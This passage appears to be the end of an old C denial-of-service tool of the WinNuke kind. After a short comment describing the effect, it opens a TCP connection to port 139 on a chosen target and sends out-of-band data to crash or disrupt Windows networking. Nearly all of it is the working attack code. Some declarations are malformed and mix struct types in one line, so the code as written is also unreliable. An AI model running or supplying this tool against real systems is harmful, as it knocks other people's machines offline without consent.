windows doesn't know how to handle OOB, so it panics and crazy things

happen.  I have heard reports of everything from windows dropping carrier

to the entire screen turning white.  Windows also sometimes has trouble

handling anything on a network at all after an attack like this.  A

reboot fixes whatever damage this causes.  Code follows.  */

#include <stdio.h>

#include <string.h>

#include <netdb.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#define dport 139  /* Attack port: 139 is what we want */

int x, s;

char *str = "Bye";  /* Non rilevante */

struct sockaddr_in addr, 

       spoofedaddr, 

       hostent *host;

int open_sock(int sock, char *server, int port)

{   struct sockaddr_in blah, hostent *he;

    bzero((char *)&blah,sizeof(blah));

    blah.sin_family=AF_INET;

    blah.sin_addr.s_addr=inet_addr(server);

    blah.sin_port=htons(port);

    if ((he = gethostbyname(server)) != NULL) 

        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);

     else 

     {    if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) 

          {  perror("gethostbyname()");

             return(-3);

          }

     }

    if (connect(sock,(struct sockaddr *)&blah,16)==-1)

    {        perror("connect()");

             close(sock);

             return(-4);

    }

    printf("Connected to [%s:%d].\n",server,port);

    return;

}

void main(int argc, char *argv[]) 

{   if (argc != 2)

    {  printf("Usage: %s <target>\n",argv[0]);

       exit(0);

    }

    if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) 

    {  perror("socket()");

       exit(-1);

    }

    open_sock(s,argv[1],dport);

    printf("Sending crash... ");

    send(s,str,strlen(str),MSG_OOB);

    usleep(100000);

    printf("Done!\n");

    close(s);

}
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